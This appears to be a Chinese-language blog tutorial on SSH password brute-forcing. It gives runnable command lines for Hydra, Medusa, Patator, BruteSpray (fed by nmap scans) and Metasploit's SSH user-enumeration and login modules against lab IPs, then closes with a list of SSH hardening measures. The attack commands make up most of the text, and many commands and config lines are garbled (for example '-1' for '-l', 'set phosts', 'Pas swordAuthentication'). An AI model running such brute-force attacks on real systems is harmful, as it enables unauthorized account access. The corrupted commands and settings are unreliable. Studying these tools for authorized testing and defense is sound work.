SSH密碼暴力破解及防禦實戰

一、Hydra(海德拉)

Hydra是世界頂級密碼暴力破解工具,支持幾乎所有協議的在線密碼破解,功能強大,其密碼能否被破解關鍵取決於破解字典是否足夠強大,在網絡安全滲透過程中是一款必備的測試工具。

1.1 指定用戶破解

Examples:

hydra -1 user -P passlist. txt ftp://192.168.0.1
hydra -L userlist.txt -P defaultpw imap://192.168.0.1/PLAIN
hydra -C defaults.txt -6 pop3s://[2001 :db8::1]: 143/TLS:DIGEST-MD5
hydra -1 admin -p password ftp://[192.168.0.0/24]/
hydra -L logins .txt -P pws.txt -M targets.txt ssh

root@kali:~# hydra -1 root -P pass.dic 192.168.106.134 ssh

二、Medusa(美杜莎)

Medusa是一個速度快,支持大規模並行,模塊化,爆破登錄。可以同時對多個主機,用戶或密碼執行強力測試。Medusa和Hydra意義,屬於在線密碼破解工具。不同的是,Medusa的穩定性相較於Hydra好很多,但支持的模塊要比Hydra少一些。

2.1 語法參數

Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]

  • -h [TEXT] 目標主機名稱或者IP地址
  • -H [FILE] 包含目標主機名稱或者IP地址文件
  • -u [TEXT] 測試的用戶名
  • -U [FILE] 包含測試的用戶名文件
  • -P [TEXT] 測試的密碼
  • -P [FILE] 包含測試的密碼文件
  • -C [FILE] 組合條目文件
  • -0 [FILE] 日誌信息文件
  • -e [n/s/ns] n代表空密碼, s代表爲密碼與用戶名相同
  • -M [TEXT] 模塊執行名稱
  • -m [TEXT] 傳遞參數到模塊
  • -d 顯示所有的模塊名稱
  • -n [NUM] 使用非默認Tcp端口
  • -S 啓用SSL
  • -r [NUM] 重試間隔時間,默認爲3秒
  • -t [NUM] 設定線程數量
  • -T 同時測試的主機總數
  • -L 並行化,每個用戶使用一個線程
  • -f 在任何主機上找到第一個賬號/密碼後,停止破解
  • -F 在任何主機上找到第一個有效的用戶名/密碼後停止審計
  • -9 顯示模塊的使用信息
  • -V [NUM] 詳細級別(0-6)
  • -W [NUM] 錯誤調試級別(0-10 )
  • -V 顯示版本
  • -Z [TEXT] 繼續掃描_上一-次

2.2 破解SSH密碼

root@kali:~# medusa -M ssh -h 192.168.106.134 -U root -P passlist. txt

三、Patator

Patator,強大的命令行暴力破解器。

3.1 破解SSH密碼

root@kali:~# patator ssh_ login --help
Patator v0.6 (http://code . google. com/p/patator/)
Usage: ssh_ login <module-options ...> [global-options ...]
Examples:
ssh_ login host=10.0.0.1 user= root password=FILEO 0=pas swords.txt -X
ignore: mesg-' Authentication failed. '
root@kali:~# patator ssh_ login host=192.168. 106.134 user=root password=FILE0 0=passlist . txt
root@kali:~# patator ssh_ login host=192. 168.106.134 user= root password=FILE0 0=passlist.txt \
-X ignore :mesg= ' Authentication failed. '

四、BrutesPray

BruteSpray是一款基於Nmap掃描輸出的gnmap/XMl文件,自動調用Medusa對服務進行爆破。

root@kali:~# apt-get update
root@kali:~# apt-get install brutespray

4.1 語法參數

  • -f FILE, --file FILE 參數後跟一 個文件名,解析nmap輸出的GNMAP或者XML文件
  • -o OUTPUT, --output OUTPUT 包含成功嘗試的目錄下
  • -s SERVICE, --service SERVICE 參數後跟-個服務名,指定要攻擊的服務
  • -t THREADS, --threads THREADS參 數後跟一數值, 指定medus a線程數
  • -T HOSTS, --hosts HOSTS K參數後跟一數值,指定同時測試的主機數
  • -U USERLIST, --userlist USERLIST 參數後跟用戶字典文件
  • -P PASSLIST, --passlist PASSLIST 參數後跟密碼字典文件
  • -u USERNAME, --username USERNAME 參數後跟用戶名,指定一個用戶名進行爆破
  • -p PASSWORD, --password PASSWORD 參數後跟密碼,指定一個密碼進行爆破
  • -C,–continuous 成功之後繼續爆破
  • -i, – interactive 交互模式

4.2 nmap掃描

root@kali:~# nmap -V 192.168.106.0/24 -oX nmap 。xml
root@kali:~# nmap -A"-p22 -V 192.168.106.0/24 -oX 22. xml
root@kali:~# nmap -sP 192.168.106.0/24 -oX nmaplive. xml
root@kali:~# nmap -sV -0 192.168.106.0/24 -oX nmap. xml

4.3 字典爆破

root@kali :~# brutespray --file 22.xml -U user1ist.txt-p passlist.txt --threads 5 --hosts 5

五、MSF

Metasploit Framework(簡稱MSF)是一個編寫、測試和使用exploit代碼的完善環境。這個環境爲滲透測試,Shellcode編寫和漏洞研究提供了一個可靠的平臺,這個框架主要是由面向對象的Perl編程語言編寫的,並帶有由C語言,彙編程序和Python編寫的可選組件。

5.1 SSH模塊

root@kali:~# msfconsole
msf > search ssh

5.2 SSH用戶枚舉

msf > use auxiliary/ scanner/ssh/ssh_ enumusers
msf auxiliary(scanner/ssh/ssh_ enumusers) > set phosts 192.168.106.134
msf auxiliary(scanner/ssh/ssh_ enumusers) > set USER_ FILE /root/userlist.txt
msf auxiliary(scanner/ssh/ssh_ enumusers) > run

5.3 SSH版本探測

msf > use auxiliary/scanner/ssh/ssh_ version
msf auxiliary( scanner/ssh/ssh_ _version) > set rhosts 192. 168.106.134
msf auxiliary( scanner/ssh/ssh_ _version) > run

5.4 SSH暴力破解

msf > use auxiliary/scanner/ssh/ ssh plogin
msf auxiliary( scanner/ssh/ssh_ login) > set rhosts 192. 168.106.134
msf auxiliary(scanner/ssh/ssh_ login) > set USER_ _FILE /root/userlist . txt
msf auxiliary(scanner/ssh/ssh_ login) > set PASS_ _FILE /root/passlist.txt
msf auxiliary(scanner/ssh/ssh_ _login) > run

六、暴力破解防禦

6.1 useradd shell [推薦]

[root@tianyun ~]# useradd yangge -S /sbin/nologin

6.2 密碼的複雜性[推薦]

字母大小寫+數字+特殊字符+20位以上+定期更換

6.3 修改默認端口[推薦]

/etc/ssh/sshd_ config
Port 22222

6.4 限止登錄的用戶或組[推薦]

#PermitRootLogin yes
AllowUser test

[ root@tianyun ~]# man sshd_ config
AllowUsers AllowGroups DenyUsers DenyGroups

6.5 使用sudu(推薦)

6.6 設置允許的IP訪問[可選]

/etc/hosts.allow,例如sshd:192. 168.106.167:allow

PAM基於IP限制
iptables/firewalld
只能允許從堡壘機

6.7 使用DenyHosts自動統計,並將其加入到/etc/hosts . deny

6.8 基於PAM實現登錄限制[推薦]

模塊: pam_ tally2. so
功能:登錄統計
示例:實現防止對sshd暴力破解

[root@tianyun ~]# grep tally2 /etc/pam. d/sshd
auth
required
pam_ tally2.so deny=2 even_ deny_ root root_ unlock_ time=60 unlock_ time=6

6.9 禁用密碼改用公鑰方式認證

/etc/ssh/sshd_ config
Pas swordAuthentication no

6.10 保護xshel1導出會話文件[小心]

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章